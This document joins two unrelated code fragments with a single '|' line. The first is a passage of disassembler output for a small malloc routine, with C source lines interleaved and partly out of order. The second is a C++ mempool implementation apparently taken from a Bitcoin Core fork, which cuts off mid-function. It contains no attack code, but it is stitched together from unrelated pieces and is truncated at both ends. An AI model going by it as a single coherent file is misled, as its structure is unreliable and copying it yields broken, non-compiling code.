8c0: 8b 40 04 mov 0x4(%eax),%eax
8c3: 3b 45 ec cmp -0x14(%ebp),%eax
8c6: 72 4d jb 915 <malloc+0xa6>
if(p->s.size == nunits)
8c8: 8b 45 f4 mov -0xc(%ebp),%eax
8cb: 8b 40 04 mov 0x4(%eax),%eax
8ce: 3b 45 ec cmp -0x14(%ebp),%eax
8d1: 75 0c jne 8df <malloc+0x70>
prevp->s.ptr = p->s.ptr;
8d3: 8b 45 f4 mov -0xc(%ebp),%eax
8d6: 8b 10 mov (%eax),%edx
8d8: 8b 45 f0 mov -0x10(%ebp),%eax
8db: 89 10 mov %edx,(%eax)
8dd: eb 26 jmp 905 <malloc+0x96>
else {
p->s.size -= nunits;
8df: 8b 45 f4 mov -0xc(%ebp),%eax
8e2: 8b 40 04 mov 0x4(%eax),%eax
8e5: 2b 45 ec sub -0x14(%ebp),%eax
8e8: 89 c2 mov %eax,%edx
8ea: 8b 45 f4 mov -0xc(%ebp),%eax
8ed: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
8f0: 8b 45 f4 mov -0xc(%ebp),%eax
8f3: 8b 40 04 mov 0x4(%eax),%eax
8f6: c1 e0 03 shl $0x3,%eax
8f9: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
8fc: 8b 45 f4 mov -0xc(%ebp),%eax
8ff: 8b 55 ec mov -0x14(%ebp),%edx
902: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
905: 8b 45 f0 mov -0x10(%ebp),%eax
908: a3 10 0c 00 00 mov %eax,0xc10
return (void*)(p + 1);
90d: 8b 45 f4 mov -0xc(%ebp),%eax
910: 83 c0 08 add $0x8,%eax
913: eb 3b jmp 950 <malloc+0xe1>
}
if(p == freep)
915: a1 10 0c 00 00 mov 0xc10,%eax
91a: 39 45 f4 cmp %eax,-0xc(%ebp)
91d: 75 1e jne 93d <malloc+0xce>
if((p = morecore(nunits)) == 0)
91f: 83 ec 0c sub $0xc,%esp
922: ff 75 ec pushl -0x14(%ebp)
925: e8 e5 fe ff ff call 80f <morecore>
92a: 83 c4 10 add $0x10,%esp
92d: 89 45 f4 mov %eax,-0xc(%ebp)
930: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
934: 75 07 jne 93d <malloc+0xce>
return 0;
936: b8 00 00 00 00 mov $0x0,%eax
93b: eb 13 jmp 950 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
93d: 8b 45 f4 mov -0xc(%ebp),%eax
940: 89 45 f0 mov %eax,-0x10(%ebp)
943: 8b 45 f4 mov -0xc(%ebp),%eax
946: 8b 00 mov (%eax),%eax
948: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
94b: e9 6d ff ff ff jmp 8bd <malloc+0x4e>
}
950: c9 leave
951: c3 ret
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2019 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <txmempool.h>
#include <algorithm>
#include <consensus/consensus.h>
#include <consensus/tx_verify.h>
#include <consensus/validation.h>
#include <optional.h>
#include <validation.h>
#include <policy/policy.h>
#include <policy/fees.h>
#include <policy/settings.h>
#include <reverse_iterator.h>
#include <util/system.h>
#include <util/moneystr.h>
#include <util/time.h>
#include <validationinterface.h>
#include <script/sign.h>
#include <chainparams.h>
CTxMemPoolEntry::CTxMemPoolEntry(const CTransactionRef& _tx, const CAmount& _nFee,
int64_t _nTime, unsigned int _entryHeight,
bool _spendsCoinbase, int64_t _sigOpsCost, LockPoints lp, CAmount _nMinGasPrice)
: tx(_tx), nFee(_nFee), nTxWeight(GetTransactionWeight(*tx)), nUsageSize(RecursiveDynamicUsage(tx)), nTime(_nTime), entryHeight(_entryHeight),
spendsCoinbase(_spendsCoinbase), sigOpCost(_sigOpsCost), lockPoints(lp), nMinGasPrice(_nMinGasPrice), m_epoch(0)
{
nCountWithDescendants = 1;
nSizeWithDescendants = GetTxSize();
nModFeesWithDescendants = nFee;
feeDelta = 0;
nCountWithAncestors = 1;
nSizeWithAncestors = GetTxSize();
nModFeesWithAncestors = nFee;
nSigOpCostWithAncestors = sigOpCost;
}
void CTxMemPoolEntry::UpdateFeeDelta(int64_t newFeeDelta)
{
nModFeesWithDescendants += newFeeDelta - feeDelta;
nModFeesWithAncestors += newFeeDelta - feeDelta;
feeDelta = newFeeDelta;
}
void CTxMemPoolEntry::UpdateLockPoints(const LockPoints& lp)
{
lockPoints = lp;
}
size_t CTxMemPoolEntry::GetTxSize() const
{
return GetVirtualTransactionSize(nTxWeight, sigOpCost);
}
// Update the given tx for any in-mempool descendants.
// Assumes that setMemPoolChildren is correct for the given tx and all
// descendants.
void CTxMemPool::UpdateForDescendants(txiter updateIt, cacheMap &cachedDescendants, const std::set<uint256> &setExclude)
{
setEntries stageEntries, setAllDescendants;
stageEntries = GetMemPoolChildren(updateIt);
while (!stageEntries.empty()) {
const txiter cit = *stageEntries.begin();
setAllDescendants.insert(cit);
stageEntries.erase(cit);
const setEntries &setChildren = GetMemPoolChildren(cit);
for (txiter childEntry : setChildren) {
cacheMap::iterator cacheIt = cachedDescendants.find(childEntry);
if (cacheIt != cachedDescendants.end()) {
// We've already calculated this one, just add the entries for this set
// but don't traverse again.
for (txiter cacheEntry : cacheIt->second) {
setAllDescendants.insert(cacheEntry);
}
} else if (!setAllDescendants.count(childEntry)) {
// Schedule for later processing
stageEntries.insert(childEntry);
}
}
}
// setAllDescendants now contains all in-mempool descendants of updateIt.
// Update and add to cached descendant map
int64_t modifySize = 0;
CAmount modifyFee = 0;
int64_t modifyCount = 0;
for (txiter cit : setAllDescendants) {
if (!setExclude.count(cit->GetTx().GetHash())) {
modifySize += cit->GetTxSize();
modifyFee += cit->GetModifiedFee();
modifyCount++;
cachedDescendants[updateIt].insert(cit);
// Update ancestor state for each descendant
mapTx.modify(cit, update_ancestor_state(updateIt->GetTxSize(), updateIt->GetModifiedFee(), 1, updateIt->GetSigOpCost()));
}
}
mapTx.modify(updateIt, update_descendant_state(modifySize, modifyFee, modifyCount));
}
// vHashesToUpdate is the set of transaction hashes from a disconnected block
// which has been re-added to the mempool.
// for each entry, look for descendants that are outside vHashesToUpdate, and
// add fee/size information for such descendants to the parent.
// for each such descendant, also update the ancestor state to include the parent.
void CTxMemPool::UpdateTransactionsFromBlock(const std::vector<uint256> &vHashesToUpdate)
{
AssertLockHeld(cs);
// For each entry in vHashesToUpdate, store the set of in-mempool, but not
// in-vHashesToUpdate transactions, so that we don't have to recalculate
// descendants when we come across a previously seen entry.
cacheMap mapMemPoolDescendantsToUpdate;
// Use a set for lookups into vHashesToUpdate (these entries are already
// accounted for in the state of their ancestors)
std::set<uint256> setAlreadyIncluded(vHashesToUpdate.begin(), vHashesToUpdate.end());
// Iterate in reverse, so that whenever we are looking at a transaction
// we are sure that all in-mempool descendants have already been processed.
// This maximizes the benefit of the descendant cache and guarantees that
// setMemPoolChildren will be updated, an assumption made in
// UpdateForDescendants.
for (const uint256 &hash : reverse_iterate(vHashesToUpdate)) {
// calculate children from mapNextTx
txiter it = mapTx.find(hash);
if (it == mapTx.end()) {
continue;
}
auto iter = mapNextTx.lower_bound(COutPoint(hash, 0));
// First calculate the children, and update setMemPoolChildren to
// include them, and update their setMemPoolParents to include this tx.
// we cache the in-mempool children to avoid duplicate updates
{
const auto epoch = GetFreshEpoch();
for (; iter != mapNextTx.end() && iter->first->hash == hash; ++iter) {
const uint256 &childHash = iter->second->GetHash();
txiter childIter = mapTx.find(childHash);
assert(childIter != mapTx.end());
// We can skip updating entries we've encountered before or that
// are in the block (which are already accounted for).
if (!visited(childIter) && !setAlreadyIncluded.count(childHash)) {
UpdateChild(it, childIter, true);
UpdateParent(childIter, it, true);
}
}
} // release epoch guard for UpdateForDescendants
UpdateForDescendants(it, mapMemPoolDescendantsToUpdate, setAlreadyIncluded);
}
}
bool CTxMemPool::CalculateMemPoolAncestors(const CTxMemPoolEntry &entry, setEntries &setAncestors, uint64_t limitAncestorCount, uint64_t limitAncestorSize, uint64_t limitDescendantCount, uint64_t limitDescendantSize, std::string &errString, bool fSearchForParents /* = true */) const
{
setEntries parentHashes;
const CTransaction &tx = entry.GetTx();
if (fSearchForParents) {
// Get parents of this transaction that are in the mempool
// GetMemPoolParents() is only valid for entries in the mempool, so we
// iterate mapTx to find parents.
for (unsigned int i = 0; i < tx.vin.size(); i++) {
Optional<txiter> piter = GetIter(tx.vin[i].prevout.hash);
if (piter) {
parentHashes.insert(*piter);
if (parentHashes.size() + 1 > limitAncestorCount) {
errString = strprintf("too many unconfirmed parents [limit: %u]", limitAncestorCount);
return false;
}
}
}
} else {
// If we're not searching for parents, we require this to be an
// entry in the mempool already.
txiter it = mapTx.iterator_to(entry);
parentHashes = GetMemPoolParents(it);
}
size_t totalSizeWithAncestors = entry.GetTxSize();
while (!parentHashes.empty()) {
txiter stageit = *parentHashes.begin();
setAncestors.insert(stageit);
parentHashes.erase(stageit);
totalSizeWithAncestors += stageit->GetTxSize();
if (stageit->GetSizeWithDescendants() + entry.GetTxSize() > limitDescendantSize) {
errString = strprintf("exceeds descendant size limit for tx %s [limit: %u]", stageit->GetTx().GetHash().ToString(), limitDescendantSize);
return false;
} else if (stageit->GetCountWithDescendants() + 1 > limitDescendantCount) {
errString = strprintf("too many descendants for tx %s [limit: %u]", stageit->GetTx().GetHash().ToString(), limitDescendantCount);
return false;
} else if (totalSizeWithAncestors > limitAncestorSize) {
errString = strprintf("exceeds ancestor size limit [limit: %u]", limitAncestorSize);
return false;
}
const setEntries & setMemPoolParents = GetMemPoolParents(stageit);
for (txiter phash : setMemPoolParents) {
// If this is a new ancestor, add it.
if (setAncestors.count(phash) == 0) {
parentHashes.insert(phash);
}
if (parentHashes.size() + setAncestors.size() + 1 > limitAncestorCount) {
errString = strprintf("too many unconfirmed ancestors [limit: %u]", limitAncestorCount);
return false;
}
}
}
return true;
}
void CTxMemPool::UpdateAncestorsOf(bool add, txiter it, setEntries &setAncestors)
{
setEntries parentIters = GetMemPoolParents(it);
// add or remove this tx as a child of each parent
for (txiter piter : parentIters) {
UpdateChild(piter, it, add);
}
const int64_t updateCount = (add ? 1 : -1);
const int64_t updateSize = updateCount * it->GetTxSize();
const CAmount updateFee = updateCount * it->GetModifiedFee();
for (txiter ancestorIt : setAncestors) {
mapTx.modify(ancestorIt, update_descendant_state(updateSize, updateFee, updateCount));
}
}
void CTxMemPool::UpdateEntryForAncestors(txiter it, const setEntries &setAncestors)
{
int64_t updateCount = setAncestors.size();
int64_t updateSize = 0;
CAmount updateFee = 0;
int64_t updateSigOpsCost = 0;
for (txiter ancestorIt : setAncestors) {
updateSize += ancestorIt->GetTxSize();
updateFee += ancestorIt->GetModifiedFee();
updateSigOpsCost += ancestorIt->GetSigOpCost();
}
mapTx.modify(it, update_ancestor_state(updateSize, updateFee, updateCount, updateSigOpsCost));
}
void CTxMemPool::UpdateChildrenForRemoval(txiter it)
{
const setEntries &setMemPoolChildren = GetMemPoolChildren(it);
for (txiter updateIt : setMemPoolChildren) {
UpdateParent(updateIt, it, false);
}
}
void CTxMemPool::UpdateForRemoveFromMempool(const setEntries &entriesToRemove, bool updateDescendants)
{
// For each entry, walk back all ancestors and decrement size associated with this
// transaction
const uint64_t nNoLimit = std::numeric_limits<uint64_t>::max();
if (updateDescendants) {
// updateDescendants should be true whenever we're not recursively
// removing a tx and all its descendants, eg when a transaction is
// confirmed in a block.
// Here we only update statistics and not data in mapLinks (which
// we need to preserve until we're finished with all operations that
// need to traverse the mempool).
for (txiter removeIt : entriesToRemove) {
setEntries setDescendants;
CalculateDescendants(removeIt, setDescendants);
setDescendants.erase(removeIt); // don't update state for self
int64_t modifySize = -((int64_t)removeIt->GetTxSize());
CAmount modifyFee = -removeIt->GetModifiedFee();
int modifySigOps = -removeIt->GetSigOpCost();
for (txiter dit : setDescendants) {
mapTx.modify(dit, update_ancestor_state(modifySize, modifyFee, -1, modifySigOps));
}
}
}
for (txiter removeIt : entriesToRemove) {
setEntries setAncestors;
const CTxMemPoolEntry &entry = *removeIt;
std::string dummy;
// Since this is a tx that is already in the mempool, we can call CMPA
// with fSearchForParents = false. If the mempool is in a consistent
// state, then using true or false should both be correct, though false
// should be a bit faster.
// However, if we happen to be in the middle of processing a reorg, then
// the mempool can be in an inconsistent state. In this case, the set
// of ancestors reachable via mapLinks will be the same as the set of
// ancestors whose packages include this transaction, because when we
// add a new transaction to the mempool in addUnchecked(), we assume it
// has no children, and in the case of a reorg where that assumption is
// false, the in-mempool children aren't linked to the in-block tx's
// until UpdateTransactionsFromBlock() is called.
// So if we're being called during a reorg, ie before
// UpdateTransactionsFromBlock() has been called, then mapLinks[] will
// differ from the set of mempool parents we'd calculate by searching,
// and it's important that we use the mapLinks[] notion of ancestor
// transactions as the set of things to update for removal.
CalculateMemPoolAncestors(entry, setAncestors, nNoLimit, nNoLimit, nNoLimit, nNoLimit, dummy, false);
// Note that UpdateAncestorsOf severs the child links that point to
// removeIt in the entries for the parents of removeIt.
UpdateAncestorsOf(false, removeIt, setAncestors);
}
// After updating all the ancestor sizes, we can now sever the link between each
// transaction being removed and any mempool children (ie, update setMemPoolParents
// for each direct child of a transaction being removed).
for (txiter removeIt : entriesToRemove) {
UpdateChildrenForRemoval(removeIt);
}
}
void CTxMemPoolEntry::UpdateDescendantState(int64_t modifySize, CAmount modifyFee, int64_t modifyCount)
{
nSizeWithDescendants += modifySize;
assert(int64_t(nSizeWithDescendants) > 0);
nModFeesWithDescendants += modifyFee;
nCountWithDescendants += modifyCount;
assert(int64_t(nCountWithDescendants) > 0);
}
void CTxMemPoolEntry::UpdateAncestorState(int64_t modifySize, CAmount modifyFee, int64_t modifyCount, int64_t modifySigOps)
{
nSizeWithAncestors += modifySize;
assert(int64_t(nSizeWithAncestors) > 0);
nModFeesWithAncestors += modifyFee;
nCountWithAncestors += modifyCount;
assert(int64_t(nCountWithAncestors) > 0);
nSigOpCostWithAncestors += modifySigOps;
assert(int(nSigOpCostWithAncestors) >= 0);
}
CTxMemPool::CTxMemPool(CBlockPolicyEstimator* estimator)
: nTransactionsUpdated(0), minerPolicyEstimator(estimator), m_epoch(0), m_has_epoch_guard(false)
{
_clear(); //lock free clear
// Sanity checks off by default for performance, because otherwise
// accepting transactions becomes O(N^2) where N is the number
// of transactions in the pool
nCheckFrequency = 0;
}
bool CTxMemPool::isSpent(const COutPoint& outpoint) const
{
LOCK(cs);
return mapNextTx.count(outpoint);
}
unsigned int CTxMemPool::GetTransactionsUpdated() const
{
return nTransactionsUpdated;
}
void CTxMemPool::AddTransactionsUpdated(unsigned int n)
{
nTransactionsUpdated += n;
}
void CTxMemPool::addUnchecked(const CTxMemPoolEntry &entry, setEntries &setAncestors, bool validFeeEstimate)
{
// Add to memory pool without checking anything.
// Used by AcceptToMemoryPool(), which DOES do
// all the appropriate checks.
indexed_transaction_set::iterator newit = mapTx.insert(entry).first;
mapLinks.insert(make_pair(newit, TxLinks()));
// Update transaction for any feeDelta created by PrioritiseTransaction
// TODO: refactor so that the fee delta is calculated before inserting
// into mapTx.
CAmount delta{0};
ApplyDelta(entry.GetTx().GetHash(), delta);
if (delta) {
mapTx.modify(newit, update_fee_delta(delta));
}
// Update cachedInnerUsage to include contained transaction's usage.
// (When we update the entry for in-mempool parents, memory usage will be
// further updated.)
cachedInnerUsage += entry.DynamicMemoryUsage();
const CTransaction& tx = newit->GetTx();
std::set<uint256> setParentTransactions;
for (unsigned int i = 0; i < tx.vin.size(); i++) {
mapNextTx.insert(std::make_pair(&tx.vin[i].prevout, &tx));
setParentTransactions.insert(tx.vin[i].prevout.hash);
}
// Don't bother worrying about child transactions of this one.
// Normal case of a new transaction arriving is that there can't be any
// children, because such children would be orphans.
// An exception to that is if a transaction enters that used to be in a block.
// In that case, our disconnect block logic will call UpdateTransactionsFromBlock
// to clean up the mess we're leaving here.
// Update ancestors with information about this tx
for (const auto& pit : GetIterSet(setParentTransactions)) {
UpdateParent(newit, pit, true);
}
UpdateAncestorsOf(true, newit, setAncestors);
UpdateEntryForAncestors(newit, setAncestors);
nTransactionsUpdated++;
totalTxSize += entry.GetTxSize();
if (minerPolicyEstimator) {minerPolicyEstimator->processTransaction(entry, validFeeEstimate);}
vTxHashes.emplace_back(tx.GetWitnessHash(), newit);
newit->vTxHashesIdx = vTxHashes.size() - 1;
}
void CTxMemPool::removeUnchecked(txiter it, MemPoolRemovalReason reason)
{
if (reason != MemPoolRemovalReason::BLOCK) {
// Notify clients that a transaction has been removed from the mempool
// for any reason except being included in a block. Clients interested
// in transactions included in blocks can subscribe to the BlockConnected
// notification.
GetMainSignals().TransactionRemovedFromMempool(it->GetSharedTx(), reason);
}
const uint256 hash = it->GetTx().GetHash();
for (const CTxIn& txin : it->GetTx().vin)
mapNextTx.erase(txin.prevout);
if (vTxHashes.size() > 1) {
vTxHashes[it->vTxHashesIdx] = std::move(vTxHashes.back());
vTxHashes[it->vTxHashesIdx].second->vTxHashesIdx = it->vTxHashesIdx;
vTxHashes.pop_back();
if (vTxHashes.size() * 2 < vTxHashes.capacity())
vTxHashes.shrink_to_fit();
} else
vTxHashes.clear();
totalTxSize -= it->GetTxSize();
cachedInnerUsage -= it->DynamicMemoryUsage();
cachedInnerUsage -= memusage::DynamicUsage(mapLinks[it].parents) + memusage::DynamicUsage(mapLinks[it].children);
mapLinks.erase(it);
mapTx.erase(it);
nTransactionsUpdated++;
if (minerPolicyEstimator) {minerPolicyEstimator->removeTx(hash, false);}
}
// Calculates descendants of entry that are not already in setDescendants, and adds to
// setDescendants. Assumes entryit is already a tx in the mempool and setMemPoolChildren
// is correct for tx and all descendants.
// Also assumes that if an entry is in setDescendants already, then all
// in-mempool descendants of it are already in setDescendants as well, so that we
// can save time by not iterating over those entries.
void CTxMemPool::CalculateDescendants(txiter entryit, setEntries& setDescendants) const
{
setEntries stage;
if (setDescendants.count(entryit) == 0) {
stage.insert(entryit);
}
// Traverse down the children of entry, only adding children that are not
// accounted for in setDescendants already (because those children have either
// already been walked, or will be walked in this iteration).
while (!stage.empty()) {
txiter it = *stage.begin();
setDescendants.insert(it);
stage.erase(it);
const setEntries &setChildren = GetMemPoolChildren(it);
for (txiter childiter : setChildren) {
if (!setDescendants.count(childiter)) {
stage.insert(childiter);
}
}
}
}
void CTxMemPool::removeRecursive(const CTransaction &origTx, MemPoolRemovalReason reason)
{
// Remove transaction from memory pool
AssertLockHeld(cs);
setEntries txToRemove;
txiter origit = mapTx.find(origTx.GetHash());
if (origit != mapTx.end()) {
txToRemove.insert(origit);
} else {
// When recursively removing but origTx isn't in the mempool
// be sure to remove any children that are in the pool. This can
// happen during chain re-orgs if origTx isn't re-accepted into
// the mempool for any reason.
for (unsigned int i = 0; i < origTx.vout.size(); i++) {
auto it = mapNextTx.find(COutPoint(origTx.GetHash(), i));
if (it == mapNextTx.end())
continue;
txiter nextit = mapTx.find(it->second->GetHash());
assert(nextit != mapTx.end());
txToRemove.insert(nextit);
}
}
setEntries setAllRemoves;
for (txiter it : txToRemove) {
CalculateDescendants(it, setAllRemoves);
}
RemoveStaged(setAllRemoves, false, reason);
}
void CTxMemPool::removeForReorg(const CCoinsViewCache *pcoins, unsigned int nMemPoolHeight, int flags)
{
// Remove transactions spending a coinbase which are now immature and no-longer-final transactions
AssertLockHeld(cs);
setEntries txToRemove;
for (indexed_transaction_set::const_iterator it = mapTx.begin(); it != mapTx.end(); it++) {
const CTransaction& tx = it->GetTx();
LockPoints lp = it->GetLockPoints();
bool validLP = TestLockPointValidity(&lp);
if (!CheckFinalTx(tx, flags) || !CheckSequenceLocks(*this, tx, flags, &lp, validLP)) {
// Note if CheckSequenceLocks fails the LockPoints may still be invalid
// So it's critical that we remove the tx and not depend on the LockPoints.
txToRemove.insert(it);
} else if (it->GetSpendsCoinbase()) {
for (const CTxIn& txin : tx.vin) {
indexed_transaction_set::const_iterator it2 = mapTx.find(txin.prevout.hash);
if (it2 != mapTx.end())
continue;
const Coin &coin = pcoins->AccessCoin(txin.prevout);
if (nCheckFrequency != 0) assert(!coin.IsSpent());
if (coin.IsSpent() || (coin.IsCoinBase() && ((signed long)nMemPoolHeight) - coin.nHeight < Params().GetConsensus().CoinbaseMaturity(nMemPoolHeight))) {
txToRemove.insert(it);
break;
}
}
}
if (!validLP) {
mapTx.modify(it, update_lock_points(lp));
}
}
setEntries setAllRemoves;
for (txiter it : txToRemove) {
CalculateDescendants(it, setAllRemoves);
}
RemoveStaged(setAllRemoves, false, MemPoolRemovalReason::REORG);
}
void CTxMemPool::removeConflicts(const CTransaction &tx)
{
// Remove transactions which depend on inputs of tx, recursively
AssertLockHeld(cs);
for (const CTxIn &txin : tx.vin) {
auto it = mapNextTx.find(txin.prevout);
if (it != mapNextTx.end()) {
const CTransaction &txConflict = *it->second;
if (txConflict != tx)
{
ClearPrioritisation(txConflict.GetHash());
removeRecursive(txConflict, MemPoolRemovalReason::CONFLICT);
}
}
}
}
/**
* Called when a block is connected. Removes from mempool and updates the miner fee estimator.
*/
void CTxMemPool::removeForBlock(const std::vector<CTransactionRef>& vtx, unsigned int nBlockHeight)
{
AssertLockHeld(cs);
std::vector<const CTxMemPoolEntry*> entries;
for (const auto& tx : vtx)
{
uint256 hash = tx->GetHash();
indexed_transaction_set::iterator i = mapTx.find(hash);
if (i != mapTx.end())
entries.push_back(&*i);
}
// Before the txs in the new block have been removed from the mempool, update policy estimates
if (minerPolicyEstimator) {minerPolicyEstimator->processBlock(nBlockHeight, entries);}
for (const auto& tx : vtx)
{
txiter it = mapTx.find(tx->GetHash());
if (it != mapTx.end()) {
setEntries stage;
stage.insert(it);
RemoveStaged(stage, true, MemPoolRemovalReason::BLOCK);
}
removeConflicts(*tx);
ClearPrioritisation(tx->GetHash());
if(fAddressIndex) {
removeAddressIndex(tx->GetHash());
removeSpentIndex(tx->GetHash());
}
}
lastRollingFeeUpdate = GetTime();
blockSinceLastRollingFeeBump = true;
}
void CTxMemPool::_clear()
{
mapLinks.clear();
mapTx.clear();
mapNextTx.clear();
totalTxSize = 0;
cachedInnerUsage = 0;
lastRollingFeeUpdate = GetTime();
blockSinceLastRollingFeeBump = false;
rollingMinimumFeeRate = 0;
++nTransactionsUpdated;
}
void CTxMemPool::clear()
{
LOCK(cs);
_clear();
}
static void CheckInputsAndUpdateCoins(const CTransaction& tx, CCoinsViewCache& mempoolDuplicate, const int64_t spendheight)
{
TxValidationState dummy_state; // Not used. CheckTxInputs() should always pass
CAmount txfee = 0;
bool fCheckResult = tx.IsCoinBase() || Consensus::CheckTxInputs(tx, dummy_state, mempoolDuplicate, spendheight, txfee);
assert(fCheckResult);
UpdateCoins(tx, mempoolDuplicate, std::numeric_limits<int>::max());
}
void CTxMemPool::check(const CCoinsViewCache *pcoins) const
{
LOCK(cs);
if (nCheckFrequency == 0)
return;
if (GetRand(std::numeric_limits<uint32_t>::max()) >= nCheckFrequency)
return;
LogPrint(BCLog::MEMPOOL, "Checking mempool with %u transactions and %u inputs\n", (unsigned int)mapTx.size(), (unsigned int)mapNextTx.size());
uint64_t checkTotal = 0;
uint64_t innerUsage = 0;
CCoinsViewCache mempoolDuplicate(const_cast<CCoinsViewCache*>(pcoins));
const int64_t spendheight = GetSpendHeight(mempoolDuplicate);
std::list<const CTxMemPoolEntry*> waitingOnDependants;
for (indexed_transaction_set::const_iterator it = mapTx.begin(); it != mapTx.end(); it++) {
unsigned int i = 0;
checkTotal += it->GetTxSize();
innerUsage += it->DynamicMemoryUsage();
const CTransaction& tx = it->GetTx();
txlinksMap::const_iterator linksiter = mapLinks.find(it);
assert(linksiter != mapLinks.end());
const TxLinks &links = linksiter->second;
innerUsage += memusage::DynamicUsage(links.parents) + memusage::DynamicUsage(links.children);
bool fDependsWait = false;
setEntries setParentCheck;
for (const CTxIn &txin : tx.vin) {
// Check that every mempool transaction's inputs refer to available coins, or other mempool tx's.
indexed_transaction_set::const_iterator it2 = mapTx.find(txin.prevout.hash);
if (it2 != mapTx.end()) {
const CTransaction& tx2 = it2->GetTx();
assert(tx2.vout.size() > txin.prevout.n && !tx2.vout[txin.prevout.n].IsNull());
fDependsWait = true;
setParentCheck.insert(it2);
} else {
assert(pcoins->HaveCoin(txin.prevout));
}
// Check whether its inputs are marked in mapNextTx.
auto it3 = mapNextTx.find(txin.prevout);
assert(it3 != mapNextTx.end());
assert(it3->first == &txin.prevout);
assert(it3->second == &tx);
i++;
}
assert(setParentCheck == GetMemPoolParents(it));
// Verify ancestor state is correct.
setEntries setAncestors;
uint64_t nNoLimit = std::numeric_limits<uint64_t>::max();
std::string dummy;
CalculateMemPoolAncestors(*it, setAncestors, nNoLimit, nNoLimit, nNoLimit, nNoLimit, dummy);
uint64_t nCountCheck = setAncestors.size() + 1;
uint64_t nSizeCheck = it->GetTxSize();
CAmount nFeesCheck = it->GetModifiedFee();
int64_t nSigOpCheck = it->GetSigOpCost();
for (txiter ancestorIt : setAncestors) {
nSizeCheck += ancestorIt->GetTxSize();
nFeesCheck += ancestorIt->GetModifiedFee();
nSigOpCheck += ancestorIt->GetSigOpCost();
}
assert(it->GetCountWithAncestors() == nCountCheck);
assert(it->GetSizeWithAncestors() == nSizeCheck);
assert(it->GetSigOpCostWithAncestors() == nSigOpCheck);
assert(it->GetModFeesWithAncestors() == nFeesCheck);
// Check children against mapNextTx
CTxMemPool::setEntries setChildrenCheck;
auto iter = mapNextTx.lower_bound(COutPoint(it->GetTx().GetHash(), 0));
uint64_t child_sizes = 0;
for (; iter != mapNextTx.end() && iter->first->hash == it->GetTx().GetHash(); ++iter) {
txiter childit = mapTx.find(iter->second->GetHash());
assert(childit != mapTx.end()); // mapNextTx points to in-mempool transactions
if (setChildrenCheck.insert(childit).second) {
child_sizes += childit->GetTxSize();
}
}
assert(setChildrenCheck == GetMemPoolChildren(it));
// Also check to make sure size is greater than sum with immediate children.
// just a sanity check, not definitive that this calc is correct...
assert(it->GetSizeWithDescendants() >= child_sizes + it->GetTxSize());
if (fDependsWait)
waitingOnDependants.push_back(&(*it));
else {
CheckInputsAndUpdateCoins(tx, mempoolDuplicate, spendheight);
}
}
unsigned int stepsSinceLastRemove = 0;
while (!waitingOnDependants.empty()) {
const CTxMemPoolEntry* entry = waitingOnDependants.front();
waitingOnDependants.pop_front();
if (!mempoolDuplicate.HaveInputs(entry->GetTx())) {
waitingOnDependants.push_back(entry);
stepsSinceLastRemove++;
assert(stepsSinceLastRemove < waitingOnDependants.size());
} else {
CheckInputsAndUpdateCoins(entry->GetTx(), mempoolDuplicate, spendheight);
stepsSinceLastRemove = 0;
}
}
for (auto it = mapNextTx.cbegin(); it != mapNextTx.cend(); it++) {
uint256 hash = it->second->GetHash();
indexed_transaction_set::const_iterator it2 = mapTx.find(hash);
const CTransaction& tx = it2->GetTx();
assert(it2 != mapTx.end());
assert(&tx == it->second);
}
assert(totalTxSize == checkTotal);
assert(innerUsage == cachedInnerUsage);
}
bool CTxMemPool::CompareDepthAndScore(const uint256& hasha, const uint256& hashb)
{
LOCK(cs);
indexed_transaction_set::const_iterator i = mapTx.find(hasha);
if (i == mapTx.end()) return false;
indexed_transaction_set::const_iterator j = mapTx.find(hashb);
if (j == mapTx.end()) return true;
uint64_t counta = i->GetCountWithAncestors();
uint64_t countb = j->GetCountWithAncestors();
if (counta == countb) {
return CompareTxMemPoolEntryByScore()(*i, *j);
}
return counta < countb;
}
namespace {
class DepthAndScoreComparator
{
public:
bool operator()(const CTxMemPool::indexed_transaction_set::const_iterator& a, const CTxMemPool::indexed_transaction_set::const_iterator& b)
{
uint64_t counta = a->GetCountWithAncestors();
uint64_t countb = b->GetCountWithAncestors();
if (counta == countb) {
return CompareTxMemPoolEntryByScore()(*a, *b);
}
return counta < countb;
}
};
} // namespace
std::vector<CTxMemPool::indexed_transaction_set::const_iterator> CTxMemPool::GetSortedDepthAndScore() const
{
std::vector<indexed_transaction_set::const_iterator> iters;
AssertLockHeld(cs);
iters.reserve(mapTx.size());
for (indexed_transaction_set::iterator mi = mapTx.begin(); mi != mapTx.end(); ++mi) {
iters.push_back(mi);
}
std::sort(iters.begin(), iters.end(), DepthAndScoreComparator());
return iters;
}
void CTxMemPool::queryHashes(std::vector<uint256>& vtxid) const
{
LOCK(cs);
auto iters = GetSortedDepthAndScore();
vtxid.clear();
vtxid.reserve(mapTx.size());
for (auto it : iters) {
vtxid.push_back(it->GetTx().GetHash());
}
}
static TxMempoolInfo GetInfo(CTxMemPool::indexed_transaction_set::const_iterator it) {
return TxMempoolInfo{it->GetSharedTx(), it->GetTime(), it->GetFee(), it->GetTxSize(), it->GetModifiedFee() - it->GetFee()};
}
std::vector<TxMempoolInfo> CTxMemPool::infoAll() const
{
LOCK(cs);
auto iters = GetSortedDepthAndScore();
std::vector<TxMempoolInfo> ret;
ret.reserve(mapTx.size());
for (auto it : iters) {
ret.push_back(GetInfo(it));
}
return ret;
}
CTransactionRef CTxMemPool::get(const uint256& hash) const
{
LOCK(cs);
indexed_transaction_set::const_iterator i = mapTx.find(hash);
if (i == mapTx.end())
return nullptr;
return i->GetSharedTx();
}
TxMempoolInfo CTxMemPool::info(const uint256& hash) const
{
LOCK(cs);
indexed_transaction_set::const_iterator i = mapTx.find(hash);
if (i == mapTx.end())
return TxMempoolInfo();
return GetInfo(i);
}
void CTxMemPool::PrioritiseTransaction(const uint256& hash, const CAmount& nFeeDelta)
{
{
LOCK(cs);
